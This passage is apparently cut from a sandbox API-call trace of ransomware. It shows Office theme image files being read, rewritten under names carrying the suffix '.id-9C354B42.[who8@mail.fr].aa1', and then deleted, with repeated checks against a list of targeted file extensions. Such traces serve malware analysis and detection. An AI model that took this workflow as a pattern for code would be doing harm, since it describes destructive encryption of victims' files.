| out: lpNewFilePointer=0x0) returned 1 [0222.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0222.277] GetLastError () returned 0x0 [0222.277] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x8317, lpOverlapped=0x0) returned 1 [0222.359] WriteFile (in: hFile=0x164, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0222.360] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.360] WriteFile (in: hFile=0x164, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.360] SetEndOfFile (hFile=0x164) returned 1 [0222.361] CloseHandle (hObject=0x164) returned 1 [0222.361] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.361] SetEndOfFile (hFile=0x1fc) returned 1 [0222.362] CloseHandle (hObject=0x1fc) returned 1 [0222.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.362] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0222.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.363] lstrlenW (lpString=".doc") returned 4 [0222.363] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.363] lstrlenW (lpString=".docx") returned 5 [0222.363] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.363] lstrlenW (lpString=".pdf") returned 4 [0222.363] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.363] lstrlenW (lpString=".xls") returned 4 [0222.363] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.363] lstrlenW (lpString=".xlsx") returned 5 [0222.363] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.363] lstrlenW (lpString=".ppt") returned 4 [0222.363] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.363] lstrlenW (lpString=".zip") returned 4 [0222.363] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.363] lstrlenW (lpString=".rar") returned 4 [0222.363] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.363] lstrlenW (lpString=".bz2") returned 4 [0222.363] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.363] lstrlenW (lpString=".7z") returned 3 [0222.363] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString=".dbf") returned 4 [0222.364] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString=".1cd") returned 4 [0222.364] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString=".jpg") returned 4 [0222.364] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString=".doc") returned 4 [0222.364] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.364] lstrlenW (lpString=".docx") returned 5 [0222.364] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.364] lstrlenW (lpString=".pdf") returned 4 [0222.364] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.364] lstrlenW (lpString=".xls") returned 4 [0222.364] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.364] lstrlenW (lpString=".xlsx") returned 5 [0222.364] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.364] lstrlenW (lpString=".ppt") returned 4 [0222.364] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.364] lstrlenW (lpString=".zip") returned 4 [0222.364] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.365] lstrlenW (lpString=".rar") returned 4 [0222.365] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.365] lstrlenW (lpString=".bz2") returned 4 [0222.365] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.365] lstrlenW (lpString=".7z") returned 3 [0222.365] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.365] lstrlenW (lpString=".dbf") returned 4 [0222.365] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.365] lstrlenW (lpString=".1cd") returned 4 [0222.365] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0222.365] lstrlenW (lpString=".jpg") returned 4 [0222.365] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.365] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.365] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.366] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2476) returned 1 [0222.366] CloseHandle (hObject=0x1fc) returned 1 [0222.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0222.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.366] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.366] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.749] GetLastError () returned 0x0 [0222.749] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0222.750] WriteFile (in: hFile=0x224, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0222.751] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.751] WriteFile (in: hFile=0x224, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.752] SetEndOfFile (hFile=0x224) returned 1 [0222.752] CloseHandle (hObject=0x224) returned 1 [0222.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.752] SetEndOfFile (hFile=0x1fc) returned 1 [0222.753] CloseHandle (hObject=0x1fc) returned 1 [0222.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0222.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.753] lstrlenW (lpString=".doc") returned 4 [0222.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.753] lstrlenW (lpString=".docx") returned 5 [0222.753] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.753] lstrlenW (lpString=".pdf") returned 4 [0222.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.753] lstrlenW (lpString=".xls") returned 4 [0222.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.753] lstrlenW (lpString=".xlsx") returned 5 [0222.754] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.754] lstrlenW (lpString=".ppt") returned 4 [0222.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString=".zip") returned 4 [0222.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString=".rar") returned 4 [0222.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString=".bz2") returned 4 [0222.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.754] lstrlenW (lpString=".7z") returned 3 [0222.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString=".dbf") returned 4 [0222.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString=".1cd") returned 4 [0222.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString=".jpg") returned 4 [0222.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.754] lstrlenW (lpString=".doc") returned 4 [0222.754] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.754] lstrlenW (lpString=".docx") returned 5 [0222.754] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.754] lstrlenW (lpString=".pdf") returned 4 [0222.754] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString=".xls") returned 4 [0222.754] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.754] lstrlenW (lpString=".xlsx") returned 5 [0222.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.755] lstrlenW (lpString=".ppt") returned 4 [0222.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.755] lstrlenW (lpString=".zip") returned 4 [0222.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.755] lstrlenW (lpString=".rar") returned 4 [0222.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.755] lstrlenW (lpString=".bz2") returned 4 [0222.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.755] lstrlenW (lpString=".7z") returned 3 [0222.755] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.755] lstrlenW (lpString=".dbf") returned 4 [0222.755] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.755] lstrlenW (lpString=".1cd") returned 4 [0222.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0222.755] lstrlenW (lpString=".jpg") returned 4 [0222.755] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.755] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.755] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.756] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1379) returned 1 [0222.756] CloseHandle (hObject=0x1fc) returned 1 [0222.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0222.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0223.076] GetLastError () returned 0x0 [0223.076] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x563, lpOverlapped=0x0) returned 1 [0223.428] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x570, lpOverlapped=0x0) returned 1 [0223.430] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.430] WriteFile (in: hFile=0x22c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.430] SetEndOfFile (hFile=0x22c) returned 1 [0223.430] CloseHandle (hObject=0x22c) returned 1 [0223.430] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.430] SetEndOfFile (hFile=0x1fc) returned 1 [0223.431] CloseHandle (hObject=0x1fc) returned 1 [0223.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.432] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0223.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.432] lstrlenW (lpString=".doc") returned 4 [0223.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.432] lstrlenW (lpString=".docx") returned 5 [0223.432] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.432] lstrlenW (lpString=".pdf") returned 4 [0223.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.432] lstrlenW (lpString=".xls") returned 4 [0223.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.432] lstrlenW (lpString=".xlsx") returned 5 [0223.432] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.432] lstrlenW (lpString=".ppt") returned 4 [0223.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.432] lstrlenW (lpString=".zip") returned 4 [0223.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.432] lstrlenW (lpString=".rar") returned 4 [0223.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.432] lstrlenW (lpString=".bz2") returned 4 [0223.433] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.433] lstrlenW (lpString=".7z") returned 3 [0223.433] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.433] lstrlenW (lpString=".dbf") returned 4 [0223.433] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.433] lstrlenW (lpString=".1cd") returned 4 [0223.433] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.433] lstrlenW (lpString=".jpg") returned 4 [0223.433] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.433] lstrlenW (lpString=".doc") returned 4 [0223.433] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.433] lstrlenW (lpString=".docx") returned 5 [0223.433] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.433] lstrlenW (lpString=".pdf") returned 4 [0223.433] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.433] lstrlenW (lpString=".xls") returned 4 [0223.433] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.433] lstrlenW (lpString=".xlsx") returned 5 [0223.433] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.433] lstrlenW (lpString=".ppt") returned 4 [0223.433] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.434] lstrlenW (lpString=".zip") returned 4 [0223.434] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.434] lstrlenW (lpString=".rar") returned 4 [0223.434] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.434] lstrlenW (lpString=".bz2") returned 4 [0223.434] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.434] lstrlenW (lpString=".7z") returned 3 [0223.434] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.434] lstrlenW (lpString=".dbf") returned 4 [0223.434] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.434] lstrlenW (lpString=".1cd") returned 4 [0223.434] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0223.434] lstrlenW (lpString=".jpg") returned 4 [0223.434] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.434] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0223.434] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0223.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.435] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1339) returned 1 [0223.435] CloseHandle (hObject=0x1fc) returned 1 [0223.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0223.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0223.435] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.435] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program 